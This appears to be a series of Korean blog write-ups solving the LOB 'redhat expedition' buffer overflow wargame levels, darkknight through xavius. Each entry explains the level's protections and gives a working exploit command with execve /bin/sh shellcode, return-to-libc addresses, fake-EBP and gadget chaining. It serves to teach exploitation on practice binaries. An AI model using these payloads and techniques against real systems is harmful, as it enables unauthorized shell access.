BOF redhat 원정대 nightmare -> xavius

BOF radhat 원정대 nightmare -> xavius

xavius, xavius.c


코드를 보면 대부분의 주소를 사용할 수 없게 만들어 놓았다. 우리가 지금까지 사용하던 메모리는 사용을 할 수가 없다. 하지만 0x40으로 시작하는 주소를 막아 놓지 않았다. 임의의 입력값을 넣은 후 이 부분의 메모리에서 임의의 입력값을 찾아보자.


xavius.c의 코드에 코드가 다 실행되고 메모리를 검사하는 코드를 넣었다. ret이전에 메모리에 올라간 부분을 다 스캔할 수 있다.

AAAA를 적당히 넣고 코드를 실행해보면


0x40015009에 임의의 입력값인 AAAA가 들어있음을 알 수 있다. 임의의 입력값이 전부 제대로 들어간다면 쉘코드를 넣고 RET를 조작하여 쉘을 얻게 할 수 있다.
0x40015009의 주소를 gdb로 확인해보자.


임의의 입력값이 들어가있다. xavius.c가 호출하는 어떤 함수의 버퍼라고 유추할 수 있겠다.
이제 여기에 쉘코드를 넣고 RET를 이 영역으로 덮어 씌우면 공격에 성공할 수 있다.
페이로드는
[놉+쉘코드][RET]
로 구성하여 공격을 해보면


쉘을 얻을 수 있다.
쉘코드 :
(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x09\x50\x01\x40"';cat)|./xavius
Read more

BOF redhat 원정대 succubus -> nightmare

BOF redhat 원정대 succubus -> nightmare

nightmare, nightmare.c


코드를 보면 RET부분에 strcpy의 주소가 들어가야하고 strcpy함수가 끝나고 RET할 주소인 다음 4바이트를 AAAA로 덮어버려 strcpy 다음에 RTL을 방지하고 있다.
이 문제는 strcpy의 argv를 맞춰주어 AAAA로 덮여진 strcpy함수가 끝나고 RET할 주소를 바꿀 수 있다.

메모리 주소를 확인하기 위해서 임의의 입력값을 넣어보자.
r `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAABBBBCCCCDDDD"'`


코드를 보면 argv를 버퍼로 복사하는 하드코딩된 strcpy가 있다. 이 함수를 거쳐 ret코드 이전에 브레이크를 잡아 메모리를 확인하였다. strcpy가 실행되어 버퍼에 입력값이 들어가 있는 것을 볼 수 있다.
[ 버퍼][    SFP   ][RET]
[A*44][strcpy_addr][AAAA][BBBB][CCCC][DDDD]

AAAA를 원하는 주소로 덮기 위해서 strcpy를 사용한다. 인자는 BBBB와 CCCC에 넣어 strcpy함수를 실행한다.

나는 A*44부분에 system함수로의 RTL코드를 넣고 현재 AAAA가 있는 RET부분을 버퍼의 시작주소(system RTL)로 덮을 것이다.

strcpy함수의 콜 이전의 스택의 모양은
[strcpy_addr][AAAA][dst_addr][src_addr]
게 된다.

공격페이로드를 작성하여 공격을 해보면


공격에 성공하여 쉘을 얻을 수 있다.
쉘코드 :
./nightmare `python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x90"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xd0\xf0\xff\xbf" + "\xa0\xf0\xff\xbf"'`
Read more

BOF redhat 원정대 zombie_assassin -> succubus

BOF redhat 원정대 zombie_assassin -> succubus

succubus, succubus.c


코드를 보면 메모리도 초기화하고 RET검사도 하는 것으로 보아 위에 선언된 함수인 DO, GAE, GUL, YUT, MO함수를 RET로 이어서 마지막 MO 함수의 system함수를 사용하여 쉘을 얻으라는 것 같다.

readelf, nm, objdump등의 툴을 사용하여 각 함수들의 주소를 알아보자.


주소를 알았다.
[버퍼][DO][GYE][GUL][YUT][MO] 로 입력값을 넣게되면 check가 증가하면서 함수를 순서대로 실행하고 마지막 함수인 MO까지 실행이 되고 프로그램이 종료된다(system함수는 인자 없어서 에러)

[버퍼][DO][GYE][GUL][YUT][MO][AAAABBBBCCCC]를 입력하고 ret코드 이전에 브레이크를 잡아서 메모리를 확인해 보자.


AAAABBBBCCCC로 RET의 위치를 쉽게 알 수 있다. 스택이 초기화 되지만 100바이트의 여유공간이 있기 때문에 이곳에 쉘코드를 위치시켜 공격을 할 수 있다.
페이로드는
[버퍼][SFP][RET]
[   버퍼  ][DO][GYE][GUL][YUT][MO][쉘코드주소][쉘코드]
로 구성하였다.


쉘코드를 넣고 RET를 이동시키면 바로 쉘을 얻을 수 있다.
MO함수 안의 system함수를 사용하지 않았다. 그냥 DO에서도 쉘을 얻을 수 있을것 같아서 DO의 RET를 이용하여 공격을 다시 시도해 보았다.
[버퍼][SFP][RET]
[   버퍼  ][DO][쉘코드주소][쉘코드]


똑같이 쉘을 얻을 수 있었다.
쉘코드 :
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "\xa8\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Read more

BOF redhat 원정대 assassin -> zombie_assassin

BOF redhat 원정대 assassin -> zombie_assassin

zombie_assassin, zombie_assassin.c


코드를 보면 이전 문제에서 버퍼, SFP를 초기화 하는 부분이 없어지고 strcpy에서 strncpy로 바뀌어서 SFP, RET까지만 덮을 수 있게 바뀌었다.
전 문제와 같이 RET에는 0xbf와 0x40으로 시작하는 주소로 덮을 수 없어 스택주소와 라이브버리주소를 넣을 수 없다.
주석에 FEBP라고 힌트가 있다. 이전에 풀었던 문제중에 problem_child에서 SFP를 1바이트 수정하여 문제를 푼 적이 있다. 이와 비슷하게 해결을 할 수 있다.

먼저 A를 48개 넣고 strncpy함수 실행 후 메모리를 보고 페이로드를 작성해 보자.
r `python -c 'print "A"*48'`


48바이트만큼 A가 복사된 것을 볼 수 있다. 나는 버퍼에 24바이트 크기의 쉘코드를 넣고 공격을 할 것이다.

페이로드는
[           버퍼          ][  SFP  ][RET]
[dummy][RET][쉘코드][dummy][fakeEbp][RET]
로 구성하였다.

페이로드를 입력 하게 되면 메인함수의 leave를 거치면서 fakeEbp로 ebp가 셋팅된다. 나는 fakeEbp를 A의 맨처음인 0xbffffaa0으로 잡았다. 이렇게 되면 0xbffffaa4가 RET로 된다. RET에는 바로 뒤의 쉘코드가 들어있는 주소를 넣어서 eip가 쉘코드로 이동할 수 있도록 한다.
메인함수의 leave로 스택의 ebp가 원하는 곳으로 이동한 후에는 ret이 실행되는데 이 때 ret를 leave,ret의 가젯의 주소를 넣어주어 내가 셋팅해놓은 sfp, ret가 바로 leave, ret코드를 타도록 만든다.

이 페이로드로 공격을 실행 하면


쉘을 얻을 수 있다.
쉘코드 :
./zombie_assassin "`python -c 'print "AAAA" + "\xa8\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAAAAAA" +"\xa0\xfa\xff\xbf" + "\xbf\xbf\xbf\x90"'`"
Read more

BOF redhat 원정대 gaint -> assassin

BOF redhat 원정대 gaint -> assassin

assassin, assassin.c


코드를 보면 RET에 0xbf, 0x40으로 시작하는 주소로 덮게 되면 프로그램이 종료된다.
argc는 2이상이어야하고 SFP와 버퍼를 초기화 하는 코드가 있다.
RET에 스택, 라이브러리의 주소가 오지 못하기 때문에 RTL을 사용하여 공격해야 한다.
ROP를 작성 할 때 '어셈 + ret'으로 된 가젯을 순서대로 나열하여 원하는 행동을 실행하도록 한다. ret는 pop eip/ jmp eip로 pop을 한번 하기 때문에 스택에서 esp가 4바이트 내려가고 다음 가젯의 끝에 ret가 있기 때문에 4바이트씩 가젯의 주소를 써주어 공격을 할 수 있다.
이와 비슷한 방법으로 RET를 ret코드가 있는 곳으로 덮어버리면 다음 4바이트를 ret코드를 이용해서 점프시킬수 있다.

페이로드는
[버퍼][SFP][RET]
[   버퍼  ][ret가젯주소][system][AAAA][bin/sh]
로 공격을 할 수 있다.


ret의 주소를 찾은 후 페이로드를 작성하여 공격을 하면


공격에 성공 할 수 있다.
쉘코드 :
./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`
Read more

BOF redhat 원정대 bugbear -> gaint

BOF redhat 원정대 bugbear -> gaint

gaint, gaint.c


코드를 보면 argv를 받고 라이브러리 주소와 함수의 오프셋값을 이용해서 execve함수의 주소값을 저장해 놓는다. 그리고 argv에서 44번째부터 4개가 execve함수의 주소가 맞는지 검사를 한다.
입력값에 execve함수의 주소만 맞추어 프로그램 종료 루틴으로 들어가지만 않게 되면 이전 문제에서 사용하였던 오메가 공격을 할 수 있다.
gdb로 execve 함수의 주소를 찾아보자.


execve, system함수의 주소를 찾았다. execve 함수를 사용하여 쉘을 실행하기엔 함수가 사용자 친화적이지 않기때문에 해줘야할 것이 많다. 그래서 system함수를 사용하여 쉘을 얻는 것이 쉽다.
페이로드는
[버퍼][SFP][RET]
[    놉   ][execve][system][AAAA][bin/sh]
로 구성하고 공격을 수행하면


쉘을 얻을 수 있다.
쉘코드 :
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`"
Read more

BOF redhat 원정대 darkknight -> bugbear

BOF redhat 원정대 darkknight -> bugbear

bugbear, bugbear.c


코드를 보면 argv[1]이상이 있어야하고 RET에 덮을 시작주소가 0xbf로 시작하면 안된다.
맨위의 주석문을 보면 RTL을 사용하여 풀라는 것을 알 수 있다. RTL은 Return To Lib로 RET를 라이브러리의 함수로 튀게하여 원하는 행동을 수행하도록 하는 것이다.

우리는 쉘을 얻어야하기 때문에 system함수를 사용 할 수 있다. system 함수의 주소는 gdb에서 얻을 수 있다.


시스템 함수의 주소를 얻었다. c에서 system 함수의 사용을 보면 system("/bin/sh")로 sh를 인자로 받는다는 것을 알 수 있다.
system함수의 주소를 알았으니 /bin/sh의 문자열을 가리키는 주소를 찾아야 한다. 코드를 작성하여 /bin/sh를 가리키는 주소를 찾을 수 있다.


system함수의 주소를 넣으면 그 주소부터 1씩 증가하면서 메모리에서 들어있는 /bin/sh를 찾는다.
argv[1]에는 0x40058ae0가 들어가고 하드코딩된 "/bin/sh"문자열은 0x8000000영역에 들어있다. 0x40058ae0을 1씩 증가하면서 8바이트씩 비교하다 같게되면(/bin/sh를 찾음) /bin/sh를 가리키는 포인터를 출력한다.(라이브러리안에 /bin/sh가 있다)


이제 페이로드를 작성하여 공격하면 쉘을 얻을수 있다.
페이로드는
[버퍼][SFP][ RET  ]
[   버퍼  ][system][dummy(4)][/bin/sh]
구성을 하고 공격하면 system함수가 호출되고 system함수 안의 프롤로그가 실행되고 ebp+4같은 방법으로 /bin/sh를 가리키는 주소를 인자로 사용할 수 있다.(system함수에 인자를 전달하고 콜할 때와 같은 상황이 만들어 진다.)

공격을 하면


쉘을 얻을 수 있다.
쉘코드 :
./bugbear `python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`
Read more